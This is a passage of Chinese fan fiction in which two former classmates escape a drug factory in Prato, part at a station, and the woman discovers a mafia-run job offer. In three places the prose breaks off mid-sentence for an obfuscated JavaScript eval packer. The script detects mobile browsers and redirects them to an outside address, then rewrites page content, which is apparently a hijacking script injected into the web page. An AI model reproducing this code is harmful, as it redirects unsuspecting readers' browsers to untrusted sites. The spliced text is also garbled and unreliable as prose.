两人迅速达成了一致,这期间甚至用不着更多的沟通。他们默契地沿着墙壁前进,沉默之中,刺鼻的气味弥漫着,团团的黑暗让他们几乎看不清彼此的存在。 视觉被剥夺,其他的感官便活跃起来。梅尔向前走,听到了细微的脚步声、自己的心跳声、脉搏汩汩跳动着,突然,她摸到了什么东西,惊喜地回过头,然后这次她听到了呼吸时气流喷吐的声音。 “……” 不知不觉间他们已距离过近,若非男人即使刹住脚步,他们两个就会撞在一起。 “找到电闸了,这层的,”梅尔说,“有没有工具?” 黑暗中,山本做了个动作,他反手抽出了什么,说:“梅尔,让开一点。” 梅尔挪了挪脚步,他顺势一劈,火花在半空中爆破一声,电流滋滋地响,籍由一闪而过的光,梅尔看清了男人手里握着的东西:那竟是一把寒光凛凛的长剑。 自偶遇以来,山本武身后便一直背着个长条状袋子。梅尔对此没有提出疑问:在她眼里,这个也是山本选手的随身标志之一,棒球棍嘛,理所当然的。 没想到里面居然是剑! 这一瞬间,梅尔脑海中划过了乱七八糟的念头,最后提炼出来的精华是:平时看上去普通又平常的随身物品其实是破局的关键——这种设定帅呆了好不好! 不愧是山本,哪怕过了那么多年,依旧和她走在同一条道路上,梅尔简直要感动地鼓掌了。 山本武转动手腕,收剑回鞘,语气轻松了些:“至少这一层里,他们没办法抓到我们了。” 但还有其他层。 于是,不久之前累死累活地爬楼梯,现在又要开始下楼梯。 所幸他们很快找到了楼梯间,这有一定原因在于当初他们在外遥望时确定了它的方位。 解决了带锁的沉重的铁门。 下第一节台阶前,山本武顿了顿,喊:“梅尔?” “嗯?”梅尔已经下了一节台阶,闻言转过头,应了一声。 “……” 他知道她回过了头,可是,看不清她的脸。 黑暗里,人与人模糊成不定的形体,融化在虚无之中。山本武已经极力遏制了,他告诫自己:心跳、呼吸、脚步声都可以证明这个人的存在,可他还是控制不住地越靠越近,然后在抵达某个临界点的时候,他恍悟了。 没有亲手触摸,心是不会安定下来的;在人类所有的感官里,只有触觉是最原始而最能够让人得到安全的那个。 “能牵着手吗?”他说,“我怕跟丢了你。” 梅尔说:“楼梯上牵手?要是我摔倒了,你也会和我一起摔下去的。 哈哈,想想到时候两个倒霉熊一起骨碌碌地滚下台阶。 ——场景就会从《惊天怪盗团》《绝密杀手》无缝切换到《这个杀手不太冷静》《两个大傻蛋》。 山本的语气听上去很遗憾:“不可以吗?” “不,”梅尔说,“我的意思是,我是绝对不会摔倒的。你不信任我?呵呵,我只是轻轻一试,你却输得彻底,年轻人,你没有通过我的考验。” 她一边说着,一边把手伸了过来。 神奇吗?人的手指就像是原始的磁铁一样,哪怕在黑暗中也能够找到彼此,温热的手指交缠着,于是,两个灵魂也纠缠在了一起。 “走吧,”梅尔确认握紧了他的手,说。 他们往下走。 空旷的楼梯间里,脚步声飞快地跳起,像刀一下又一下砍在砧板,砧板上的鱼甩动着尾巴,热烈地回应,于是回声阵阵。 下了一层。 破坏了当层电闸。 又下了一层。 再一次破坏了当层电闸。 不能再继续向下了,敌人再磨蹭、厂房再重要,对方到底也还是打开了大门,进入了内部。 总电闸被打开,一层和二层的灯光豁然展露。 楼梯间,墙壁贴着的瓷砖折射出了柔和的光线,层层反射之后照亮了两人的脸。他们脚步一顿,梅尔用气音说了个“跑”,接着毫不犹豫地转身向上。 转身的过程中,牵着的手自然而然地松开了。朦胧模糊的光晕里,她的影子像只鸟,在晃动的镜头之间奔跑。 记录着的镜头名为山本武。 男人摩挲一下被松开的手指,迅速跟上了前面奔跑的人,奔过一层台阶之后,他们选择了第四层楼,这一次,他们没有再贴着墙壁前进,而是一头扎进了不知边界的空间里。 · 这里是普拉托当地最大的纺织厂,至少明面上是这样。 但自进入此处以来,令人嗅之不适的气味便将他们团团包裹住。它仿佛来自于土地,来自于某种自然的植物,而被人类提取之后,它变成了罪恶的来源、伊甸园的苹果、令人发疯的毒舌。 随着梅尔深入,这股气味愈发浓郁,再没有办法被忽略。 大型仪器盘踞在地面上,半完成的产品被存放在它们的内部。纵使看不分明,也能够得出模糊的判断。梅尔走过其中,几乎和山本武在同一时间确认了:这里就是隐藏在纺织厂内部的毒/品生产点。 怪不得那些人如此紧张、却又投鼠忌器,怪不得这里被看守得最为严密,原来因为此处是三大家族最大的摇钱树基地——没有之一。 这世上再没有比这更暴利的行当了。籍由这些摧毁人体精神、损伤人体细胞的产物,三大家族累积了丰厚的财富。 无怪他们冒着风险,也要和教父先生作对。英国工会政论家托马斯·约瑟夫·登宁十九世纪就已发表了这世间的至理名言,若有百分之三百的利润,资本就敢犯任何罪行,甚至冒绞首的危险。 ——毒/品的利润,又何止百分之三百。 梅尔叹为观止,她对山本武说:“这群人如果被警察抓了,靶场能连响三年。” 然后她耸了耸肩:“不过,坏消息,我来意大利三年,没听说过意大利警察有存在感。” 来意大利三年了吗?那么,之前去了哪里呢? 此外,在意大利,警察确实没什么存在感。官僚腐败、政府无能,意大利的警察也因此强横不起来,倘若你见到了一个行事强硬的警察,那么只有一个可能,那就是他暗中与黑/帮有往来。 “指望警察来把他们取缔,还不如指望有黑/手/党来黑吃黑,”梅尔自言自语,“虽然更大的可能是新的黑/手/党一来,那么一看,嘿!好活儿,于是大伙一块儿同流合污。” 山本武摸了摸鼻子,为自己的职业申辩:“……现在也是有黑/手/党抵制毒/品的。” “这种事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550838|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不可能吧,除非来的□□是我们当初建的,唔,沢田做首领的那个,”梅尔说,“小孩子过家家都没那么纯良。” 啊,真是抱歉了。在这件事上,彭格列现在还真是小孩子过家家一样纯良……黑暗中,山本莫名有些想笑,可又笑不出来。 梅尔犀利地说:“但我们当初建的那个黑/手/党也已经解散了吧,所以说啊阿武,我们完蛋了……” 没想到被卷进了如此事态之中,虽然中途有全身而退的机会,是自己因为好奇心而故意横插了一脚进来,邪王大人仍然感到了一丝悲切与凄凉,她承诺:“等我们平安出去了,我绝对会请你喝咖啡的山本。真的。哪怕我钱包里只剩下最后一个钢镚儿我也会坚守约定。” 山本:“都说了是‘阿武’。” 梅尔:“都说了是为了押韵。” “出去之后,还是由我来请梅尔吧,我现在可是有工作的成年人了,”山本武说。 这也太不好意思了吧,但想想自己还是失业状态……梅尔麻溜地答应了。 不过,他们该怎么出去呢? 此外,梅尔也不想就那么离开,毒/品什么的,她果然还是看不惯,如果可以,她想把它们销毁。 “我们放把火把这里烧了怎么样?”她异想天开。 而这也暴露了她的文盲,山本武:“如果我们不想让这座城市的人都吸入毒品,最好还是不要。” 想想全城的人吸入过量的毒烟提前过圣诞节嗨起来,普拉特变成丧尸之城……好吧,梅尔悻悻然闭嘴了。 三两对话之间,没过多久,光亮从他们身后远处出现,隐隐约约地追了上来。亮度慢慢提高了,举着高强度手电筒的敌人扫射着四周,以直长明亮的光线来搜寻他们的身影。 他们一边搜寻,一边说着什么。骂声窸窸窣窣地传来,逐渐扩大。 “该死!这层的电闸也坏了。” “那两只黄皮猪不知道躲到了哪里……” “等我把他们抓到手,一定让他们不得好死!” “……” “没见我忙着吗……一点小事也搞不定吗?!” “……什么?有不明火力逼近,已经全面攻破了外部?见鬼,那看守的人呢,都死光了吗?!” “……真的全死了?!对面现在推到哪里了——该死,该死!马上把那两个人给我找出来!” 语句在空旷的建筑内碰撞,惊怒慌张的回音叠在一起,一时凌乱不堪。敌人显然是遭遇了新的外来情况,还未听到更多信息,匆乱之间,梅尔感觉脚下的地板猛然一震。 轰——!!! 一声爆破的巨响将所有人的耳膜炸得发钝,厂房的玻璃在声波和气浪的冲击下剧烈振响,嗡嗡不绝。 地震?! 不,不对!地震不会来得如此突兀而威力猛烈,只有一个可能,有其他人也在入侵这片厂区,而他们有着足够的火力! 又是一声轰隆,远处的窗户被明亮的火光鲜亮,橙红色贯穿深色的夜空,将厂房内部照得有片刻的一览无余。 梅尔的身影不幸被一个敌人捕捉到,他咆哮一声“在那里”,毫不犹豫举枪射出了子弹。 现在已经不是投鼠忌器的时刻了。老巢都要被端了,厂房的仪器被破坏了又有何妨,当务之急是把对方捉住! 梅尔按着山本的脑袋,两人麻溜缩回仪器后面,嚓啷嚓啷,密集的子弹划过光滑仪器的表面,摩擦出细长喷张的火花,接着射入远处的墙壁。 硝烟味弥漫。 “——叮咚!发布任务:活下去。” 5. 你是不是故意的 “——叮咚!发布任务:活下去。” 在漫射的子弹中,梅尔发出了搞怪的音效,“叮咚!接取任务:活下去,”山本跟上了她的节奏,对视一眼后,两人分散跑向不同的位置。 再大的场地,面积都是有限的,敌人人多势众,呈包围之势,眼看着子弹无法命中,便冲到了他们跟前直接搏斗。 可能是想靠着人数多的优势将他们生擒吧。 ——太天真了!知道什么叫做神明大人吗?!那当然是样样精通啊! 借着地形的优势,梅尔躲避子弹,抓住仪器的一角荡起身子,抬腿踹飞了两个扑上来的壮汉,落回原地时脚尖勾起捡起他们的枪,回敬敌人五发子弹。 砰砰砰砰砰! 五个人被击倒了。 可惜的是,子弹所剩不多了五发之后弹夹就已经被清空,梅尔遗憾地撇嘴,把废铁当成废铁,卯足劲儿扔出去,又仰面砸倒了两个人。 她这边打得火热,另一边,国中老同学山本也正挥剑殴打敌人。 山本武国中的时候扮演的角色就是剑客。挥舞棒球棍和挥舞长剑,二者仿佛是有共通之处的,山本是个好棒球手,所以,他也理所应当是个好剑客。 剑声如劈,带风飒飒,光寒泠泠不绝。 青年手握长剑,在敌人间劈斩的动作行云流水,游刃有余,如雨燕在天地变色的大雨中穿行,轻盈的翅膀轻易划开了敌人的要害,却没有沾染上一丝血液。 梅尔打倒了这边的十来个人,再抬头的时候,他也已经结束了战斗。 不过,还没到喘息的机会,窗外的火光越发明亮,室内不必开灯,已能看清橙色暖光中物体的轮廓,两人脚下的地板振动的频率越来越大,仿佛外来入侵者没有搜查证据的打算,而准备把这里连着整个厂区一起炸上天。 梅尔有强烈的预感,跑得慢一点,她也要飞上天了。 没有过多废话,她和山本一起冲向了楼梯,然而才刚冲进楼梯间,就知大事不好。 哪来的疯子,真打算把这里给炸了啊?! 时间不够下楼梯了,下到一半他们就会被塌下来的石头砸死。 好在楼梯间里有窗户。 梅尔一拳砸碎了窗,手指被玻璃划破,血液涌了出来,她混不在意,舔了舔干燥的嘴唇:“再跳一次,山本,敢不敢?” 他的目光落在她流血的手指上,注意力依旧是:“这次也是为了押韵吗?” “好吧被你发现了那我只能承认了,都过去那么多年了一下子喊得那么亲密未免也太冒昧了我可是进退有度的主角——” “可是,我们都要一起死里逃生了,这还不够吗?” “你说得也有道理,那这样,等我们一起活下去了我就喊你阿武,怎么样?” “——一言为定!”他伸出手和她击了个掌,手指染上她的血。 然后他们爬上窗台,毫不犹豫地向下跳。 风声尖锐,远方火光冲天,像某年夏天过于热烈的烟火。 相同点是夜空都被照亮,身边的人的脸也被照得清晰分明。 就在他们的脚离开窗台的一瞬间,大楼的承受能力抵达临界点,身后的土石崩塌向下,彼此重叠,空气被狠狠挤压,发出沉闷的声响,荡起恐怖的音波,将一切荡涤殆尽。 嗡——嗡————嗡—————— 天地回响,耳膜振动,再听不到其它的声音。 身披火光,梅尔和山本武逃离崩塌的大楼,踩着倾斜的楼面向下奔跑,快跑快跑快跑——最终,他们像超脱了庸俗现实的书中角色,安全地踩到了土地。 “现在,你欠了我一杯咖啡,梅尔。” “等等,不是说好你请的吗……我没有钱。” “诶?可是我刚才看到你——” “嘘!小声点!那很光彩吗?摸尸什么的,这种事情传出去,我的英明形象怎么办?” “我需要封口费。” “……拿你没办法,走吧,我请……” · 梅尔从敌人口袋里自动拾取了金钱*N。 别问她为什么自动拾取没关,问就是她国中时期有段时间很穷,穷得心生歹意,跑去摸别人的手下败将的口袋。 被“别人”发现咬杀了她几次后,她迅速进化出了“飞快自动拾取”的技能,至今受益无穷也。 她数了数手上的纸币,觉得数额够她买两杯咖啡,以及留给明天买车票,便很有底气地和山本武一块儿沿着来时的路离开。 “那群人看上去也不像警察,”路上,梅尔眺望远处若隐若现的影子,“不会真的是黑吃黑吧。” 山本远远认出了人影里领头的那个,那是他的得力下属。今晚的行动和他计划里的一样,闪电一般迅速,甚至因为他和梅尔的搅局分担走了部分的兵力,厂区的外围被更快地攻破了,作为主生产力的建筑也被横推,大量人员被捕,此时,雨守部门的人正在有序地清点名单、收拾残局,计划已进行到了末尾。 不过,彭格列的人可比三大家族的严谨多了。 他们来的时候,所选的路线上并没有人,因此称得上畅通无阻;这一次离开的时候,却在转过拐角时,听到了有人喝问:“什么人!” 卡特拉、莫威尔还是利特拉布亚? 这片厂区由三大家族合力建成,各家分工合作,表面上你亲我亲,暗地里怎么可能相亲相爱? 厂区被攻破之后,高层被一网打尽,各家族内的底层人员见势不妙,纷纷逃窜。 这一幕彭格列早有预料,因此在各条小道上都安排了人员看守,绝不放过任何一条漏网之鱼。 梅尔和山本武的脚步声不算轻,故此还有些距离就被捕捉到。守在这条路上的是个加入雨守部门两年有余的棕发青年,经验丰富而性格谨慎,他持枪对准了拐角,冷声道:“出来!” 两道身影缓缓从拐角后走了出来。 “……” 沙克尔特握着枪的手颤抖了一下,因为他发现那先从拐角后走出来的青年,身型和脸都熟悉得不得了,原来是他顶头上司的顶头上司——以里世界的规矩,用枪口对准对方,代表着大不敬与反叛。 他下意识觉得枪柄烫手,想要松手将它扔下;山本一个眼神制止了这动作:他的视线如有实质,哪怕一个字没有说,沙克尔特也领悟了他的意思,重新握紧了枪。 “如果我说我们只是路过,你信不信?” 这时,青年身后又走出来一个女人,她看上去衣服有点儿破烂,皱巴巴的布料上有灰尘的痕迹和血,她动作有些粗鲁地推开了山本——刚才他突然加快了脚步走到她前面,这让梅尔很不爽,拜托,难道她是遇事了需要别人罩着的逃跑流主角吗?——山本武知道她为什么不高兴,带着笑顺从地让出了位置,而这一切让沙克尔特心惊肉跳,茫然不知所措。 他只能机械式地发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550839|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“你——你们是谁——卡特拉、莫威尔还是利特拉布亚——” “哪个都不是,我们是来休假的,真的,”梅尔诚恳地说。 沙克尔特卡壳了:首先,面前荒谬的一幕已经让他不知所措,其次,这个不着四六的答案火上浇油,他不知道自己该答复些什么。 “看来他不信,”见对方没有反应,梅尔转头对山本武说,“看来我们只有跑了。” 山本武对此表示赞同,此情此景仿佛公路上两个通缉犯遇到了查身份证的,两人意思意思停下来敷衍了两句——警察啥反应他们不管,说到底都是要跑的嘛,趁着对方不注意,一脚油门的事儿,轰! 两个人干脆利落地跑了。 沙克尔特看着两人的背影,被上司夸过一句“机灵”的脑袋瓜此时突然开了窍,想明白了此刻应该做什么——他开了几枪,砰!砰!砰!砰! 尖锐的枪声穿透夜色,给两人的逃跑平添了几分可怖与惊险。 梅尔:“他枪法好烂。” 山本:“嗯。” · 折腾了大半夜,已经到了凌晨三四点钟,还开着门的只有之前的酒吧。 “卖咖啡吗?”梅尔把纸币拍在柜台上,问。 值班的酒保懒洋洋看了她一眼,眼皮一跳:这位看上去怎么像刚刚从战场上滚下来? 再一看她旁边的人,嚯,不分伯仲。 “卖,给钱就卖,”想要活得久,就把自己当成瞎子,酒保努力把视线挪开,转到纸币上,他问,“两杯?” “两杯,”梅尔说完,径自找了个位置坐下。 白天来的时候,是山本带她选的卡座,那是个角度刁钻、坐下能够掌握酒吧全貌的位置;梅尔就懒得拐弯抹角了,她大大咧咧坐到了酒吧的正中央,轻松就能看到所有人,与之相对的,哪怕店里没几个客人,他们也能看到她嚣张的姿势。 主角嘛,当然要在舞台的中央! 山本武莞尔失笑,却没有急着过去,而是问酒保有没有医药箱。 “我们这里是酒吧……好吧好吧,给钱就卖。不给钱也借给你。” 酒保嘟囔着,从吧台下抽出一个医药箱,看上去有常用的痕迹。 山本武提起医药箱,也坐了过去,在酒保准备咖啡的间隙,他帮梅尔把手上的伤口清理包扎起来。 砸玻璃的动作很潇洒,被消毒的时候就潇洒不起来了。神明毕竟正在凡间历劫,还是肉体凡胎,痛得狠了也是要龇牙咧嘴的,也就是附近还有其他人,不然梅尔得打滚。 “当时梅尔动手也太快了,我都没反应过来,不然完全可以让我来砸玻璃的,”山本武一边抱着她的伤口边缘,一边带着几分谴责的语气,说,“明明用剑的话就不会划伤手了。” 这不是马后炮,纯粹是梅尔当时动作太快,来得猝不及防。 说起来,她以前就是这样的角色,说干就干,脑子又跳得快,于是所有人都只能跟在她身后狂奔,有时候都要崩溃啦!可她呢,她才不管那些,她只负责带路和大笑,横冲直撞地撞飞所有人。 此时被山本指出来错误,她也没有一丝悔恨之心,反而很是自豪:“用剑的话一点视觉冲击力都没有!阿武,你懂吗,在困境下当然要用鲜血来冲出生路!此乃主角之必胜法则——嘶。” 她谴责地看向山本:“你是不是故意的。” 山本笑眯眯:“没有哦,绝对不是故意的。” 6. ME飘零半生未遇明司… 这家伙说谎的时候笑眯眯的啊。 “那你的手法得练习了,”梅尔点评,“努力练出能够清理伤口却又一点都不让病人痛的手法好吗好的?” “我会努力的,不过还请体谅我,我毕竟不是医生——” “那你现在是做什么的?” 梅尔想到了山本武背着的剑,顺口道:“我一直以为国中毕业之后你就当棒球手去了。奇怪,有时候我也会刷到棒球界的新闻讯息,但从来没见过你的名字,这让我很是失望。” “梅尔居然还会想起我吗?不过,因为我现在并没有当棒球手,所以,新闻讯息上也就不会有我的名字了。” 梅尔闻言大吃一惊:“怎么会?” 山本武微微一笑:“毕竟我有了更重要的事业去做,打棒球又必须全身心投入,我自认做不到,就干脆没有走职业道路。” “国中之后我就彻底退出棒球的圈子了。说起来,这件事是梅尔的错吧?是因为你毕业之后突然消失了、连联系方式都没有留下来,所以你才会至今以为我是个棒球手。” 那么说也没有错……梅尔被他说得有几分讪讪,连忙转移话题:“咳、咳,总之,你现在在做什么工作?能比棒球更让你看重,绝对是很了不起的工作吧?” 说到这里,她也生出了几分期待。能让棒球脑袋更喜欢的职业!是什么呢? 山本武把废弃的棉签用纸巾包起来塞进口袋,将拿出来的药品归类当回医药箱,走回柜台去归还。 他的声音慢悠悠的。 “我现在在做的职业吗……嗯,保密。” “诶?——吊我的胃口!” “梅尔也没有告诉我你国中之后去了哪里嘛,我们两个彼此彼此。” “这两件事根本不是一回事!” “我觉得算一回事……啊,咖啡。” 青年将咖啡端了过来,他有些好笑:“你还是在喝意式啊。” 梅尔说:“这叫格调。格调你懂吗?格调!” 成熟的大人、冷峻的杀手、优雅的绅士,没有哪一个不喝意式的。自国中起梅尔就说服自己喜欢意式,如此说服了十年。 ……依旧没用。 意式还是苦得她恨不得吐舌头。 但她怎么可能在老同学面前丢脸呢?梅尔才不要,所以她点了意式,零糖!此时她内心视死如归表面故作从容,准备把咖啡端起来,被山本拦住了。 “我好像点错了,喝拿铁会让我全身过敏……我们两个换一下好不好?” 他推过来拿铁咖啡,脸上带着一点苦恼的神色。加了牛奶之后,咖啡不再苦涩,醇香和奶味配合在一起,散发出诱人的气味。 “好吧,”梅尔说,“不用谢。” 虽然她从来没听说过山本对拿铁过敏的事,这大概率是假的。不过,那又怎么样了嘛,梅尔在心里哼了一声,是他求我换的! 两个人静静地喝咖啡。 至于说为什么在酒馆里喝咖啡。 因为梅尔喝了酒会耍酒疯。黑历史已尘封,死都不要再重现,所以宁可喝咖啡也不点酒。 不知不觉,天光微熹,两个熬了一夜的成年人精神焕发,走出了酒馆。 山本武问:“梅尔要去哪里?” 梅尔答:“回去当家里蹲,然后等待下一个拯救世界的良机。” 手机没电至今未开机,她不清楚自己是否被录用了——八成没成功,毕竟梅尔想了一下,自己的工作从一开始就偏离了大纲,HR能把她录进去那绝对是疯了,绝对。 虽然工作没面试成功,卡上没有存款了,但是房子的租金交到了下个月,另外兜里还有够坐公交的零钱,梅尔已经很满足了。 她开始研究该怎么去车站,跑了一夜她希望能快点到家然后躺在床上大睡特睡。 却没察觉到身旁男人略显沉默的神色。 “要交换联系方式吗?”山本说,“梅尔回到家了可以给我报个平安。” 梅尔摸出自己的手机递给了他。 山本武接过来按了一下开机键,又按了一下,他问:“你的手机坏了?” 梅尔:“没电了,另外你清楚的,我记不住我的电话号码。” 山本武于是转身走进酒吧,梅尔有些好奇他不声不响回去干什么,就见他去敲人家的柜台,礼貌地问酒保有没有便签和笔。 酒保无语地看着他:“先生,我们这里是酒吧,不是能实现你所有愿望的仙女湖。” 山本笑眯眯:“所以是有的吧,拜托了,请借给我,这对我来说很重要。” 明明是很温和的话,酒保却感到了压力,他默默从柜台下拿出了笔和便签递过去。 山本武写下了自己的几样联系方式,包括电话号码、邮箱地址和几个主要的社交媒体账号,然后递给梅尔。 梅尔扫了两眼,想起这个人写的时候都没有摸出手机来看一眼,不由感叹:“你的记忆力好恐怖。” 可恶!这就是被藤本恨铁不成钢地评价“稍稍用点心就能年级第一”的大脑吗!梅尔狠狠羡慕了! 不过,她有些疑惑:“我还以为你会给我名片。” 都是二十几岁的成年人了,梅尔还以为老同学升级成合格的大人,留联系方式应该是递名片才对——结果居然是这种潦草的方法吗!给人一种很随意的感觉…… 梅尔于是也很随意地把便签塞进了裤子的口袋里,顺便一提,现在她全身上下的衣服破破烂烂的,一半是大楼崩塌时被石子擦过的洞,还有一半则来自于她摸爬滚滚滚打。 山本的目光随着她的动作而移动,片刻后他微微笑起来:“话是那么说,但名片上的联系方式,其实根本不是我本人在负责。” 他负责递出名片,他的下属负责联络想要笼络、讨好他的人,这不是很正常吗? 反而是他此时给出的联系方式,才是他本人平日里常用的。 “这话听起来可真是微妙,怎么像是那种霸总行为——什么?仰慕我?跟我的秘书说去吧;哦哦,想要谈合作?先过了我秘书那关再说。哈哈哈哈哈哈哈阿武你发达了嘛!” “拜托,就别打趣我了……”山本苦笑着。 两人闲聊几句,朝着车站走去。梅尔第一次来这座城市,山本对它也不熟悉,因此他们绕了两个圈子才抵达了目的地。 刚好,梅尔等待的车次即将进站。 梅尔说:“那就再见喽。” “回去之后,第一时间联系我,”山本嘱咐她。 梅尔漫不经心地挥了挥手:“知道了知道了——” 她上了车,片刻后山本武在一个靠窗的位置看见了她,她大概把刚才的告别当成了最后时刻,因此并没有看向窗外,而是倚在座位上,脸上泛滥着无聊的神色,等待着车辆的启动。 司机见车边还站着一个人,探出头来问他要不要坐车。 山本武笑着说不了,退开两步。车门在他面前缓缓关闭,轮胎碾在地上,发出一点沙沙的声响,不久之后,车子消失在了他的视野里。 他猜得不错的话,梅尔是不会再联系他的。倒不是她故意为之,只是山本武当时看她把便签塞进口袋里,那口袋敞开着,里面还破了几个洞。 大概很快就会随风飞走吧。 哪怕他提醒了她也没有用,换一个口袋也没有用。在她眼里不重要的东西是不会被好好珍藏的,又或者说它们注定会消失在她的生命里。 好在他又如命运所定的那般遇见了她。 所以他还会找到她的,所以没有必要急于一时,没有必要冒进地和她坐上同一列车,没有必要恋恋不舍地看着她,让她茫然又警觉。 山本武离开了车站。 · 两个小时后。 梅尔回到家,发现山本武塞给自己的便签不见了。 “不是吧?”她傻了眼,扒拉口袋,然后发现了底部两大一小三个洞。便签大概在车上、在路上就随风而逝了? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550840|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 梅尔只能心虚地祈祷不会有人缺德到把路上捡到的联系方式放到重金求子、GAYGAY狂欢网站上。 如果真的有人那么缺德。 梅尔在胸前画了个十字,安慰自己:没事没事,至少以后你不会再见到他了,也就不会被他算账,呵呵呵…… 她没心没肺的,很快就把这件事抛到了脑后。坏消息便签丢了,好消息家门的钥匙被她放在楼下花园的鹅卵石堆里,在路边电线杆上几只不知品种的鸟的见证下,她花了一点时间,就找到了轻微移位的假鹅卵石盒子。 梅尔取出钥匙打开门直奔床铺,大睡特睡。 睡了几个小时之后醒过来,肚子叽里咕噜乱叫,又直奔冰箱翻出冷藏僵尸面包,大咬特咬,把胃给填实了。 这时候才有空想起来别的事情,梅尔啃着面包找了个插头给手机充电,开机之后几十条信息蹦了出来。 几十条里面几十条都是网友的。梅尔和对方臭味相投,每天都有废话要说,突然消失了一晚上加半个白天,网友甚是紧张。 网友:【面试进行得怎么样?】 网友:【不顺利的话完全可以嫁给我当豪门夫人~】 网友:【为什么不理我?】 网友:【难道是面试很顺利已经在搬家了。】 网友:【低血糖晕倒了?】 网友:【我知道了,小梅尔一定是穿越到了异世界。】 网友:【呜呜呜呜小梅尔一个人在异世界风流快活,还记得你在原世界的未婚夫吗?人家守身如玉咬着手帕等待你,好难过,好想你~】 【……】 这人废话好多。 一条条回复也太浪费时间了,梅尔选择性挑着几条消息回复。 梅尔:【面试失败了。我殴打了面试官,面试官让我滚。】 梅尔:【我精神恍惚走出了面试地点,却不小心踩到了进入异世界的井盖,就这样穿越了。】 梅尔:【两边世界的流速不一样,在你眼里只是过去了一天,但在那个世界里我已经过了十年。】 梅尔:【对不起……!我有了关系更好的精灵同伴、牧师同伴、法师同伴、骑士同伴、兽人同伴★~家乡的未婚夫是什么?已经被我忘光了!】 她的手速飞快,嗖嗖几条消息发出去,网友幽幽冒了出来:【看来是踩到了井盖摔到了脑袋。】 网友:【大白天就做起了开后宫的美梦吗,小梅尔这种行为是会被观众指责的。】 梅尔:【真的吗我不信略略略。】 跟网友扯了几句淡,梅尔就懒得理他了。她现在危急存亡性命攸关,那有空天天把时间浪费在儿女情长上! 梅尔毅然决然打开了招聘软件。 并决定建一个新的账号。没办法,她已经被N个HR拉黑了……她忍辱负重地决定,这次一定、一定不要再和HR吵架了! 梅尔切到个人页面,就准备退出账号。视线划过屏幕上的内容,却突然发现消息栏有红点。 “……”等等。 不会吧? 梅尔屏息点开了消息栏,发现两天前的HR向她发来了新的信息。 HR:【恭喜您通过了面试!】 HR:【现诚邀您加入我们的队伍。我们公司薪资高,待遇好,节假日充足,INPS社保、INAIL工伤险齐全,另配套完善TFR离职补偿金制度。相关福利制度等可深入了解。】 HR:【有意请与我司保持联系。】 梅尔不可置信地擦了擦眼睛。 又擦了擦。 发现自己并没有近视、眼花、幻视等现象发生。 也就是说。 眼前的一切居然是真的! 梅尔飘零半生,未遇明司……今日终于要遇到真正的值得一生为之奋斗的岗位了吗! 梅尔一跃而起,杀向HR。 梅尔:【有意,十分有意!让我们来深入探讨一下福利制度……】 7.普通人 屏幕的另一边。 假·HR·真·雨守部门成员战战兢兢地躲到了同事身边,任由不远处顶头上司的顶头上司霸占了自己的电脑,亲自和对面的人探讨彭格列的福利制度。 平日里,托马斯·哈代和几个同事一起负责任务中的人事具体调动,这一次针对普拉托三大家族的行动,他遵雨守之命寻找合适的普通人,作为诱饵来引走敌方的注意。 这并不是什么难事,只是需要费点脑筋:该怎么找普通人来执行诱饵的任务?又去哪里找他们?——托马斯灵机一动,想到了在招聘软件上发布征人帖,然后将其中的面试内容进行了一番修饰,如此还真让他成功找到了足够符合要求的人。 他自认此事做得不错,但当山本武来到他身边,亲切地拍着他的肩膀问他是怎么找到的人的时候,托马斯还是出了一身冷汗。 他当然不会单纯地以为这是赞赏。雨守大人往常便是面如春风、温和带笑的,他若要赞赏某个人,只会直接给这个人足够的需要的东西,比如说一笔钱,一辆车,一个店铺——这般笑着问他是如何完成的任务,绝对有异。 托马斯感觉自己的肩膀——搭着雨守大人手掌的肩膀如秤砣一般沉重下去,他不由得胡思乱想。 发生了什么,让雨守大人来到了这里?是因为他找了普通人掺和进这件事,却没有如雨守大人所言派人暗中保护他们的安全?还是他找的人出了纰漏,妨碍了昨夜计划的进行?又或者说…… 他脑海中思绪如潮,面上却不敢有丝毫怠慢,干脆利落地将自己的方法说了出来。 “原来如此,”山本武若有所思,“是普通的招聘软件平台啊。” 托马斯惶恐道:“这方法确实不太稳妥……”他下意识先检讨起来。 山本武道:“把你的账号给我,可以吗?” 托马斯的话堵在喉咙里,说不出来。他涨红了脸,急急忙忙地点头,得了山本武一句“谢啦”,又连忙摇头。 他把账号交了出去。 账号上同时联络了数个人,山本武登上账号,发现此时这些人有的质问托马斯到底是什么公司、昨天的面试到底是什么意思,有的则在问为什么昨天到了预定的地点却根本没有见到面试官,有的在向托马斯讨要去参加面试的路费。 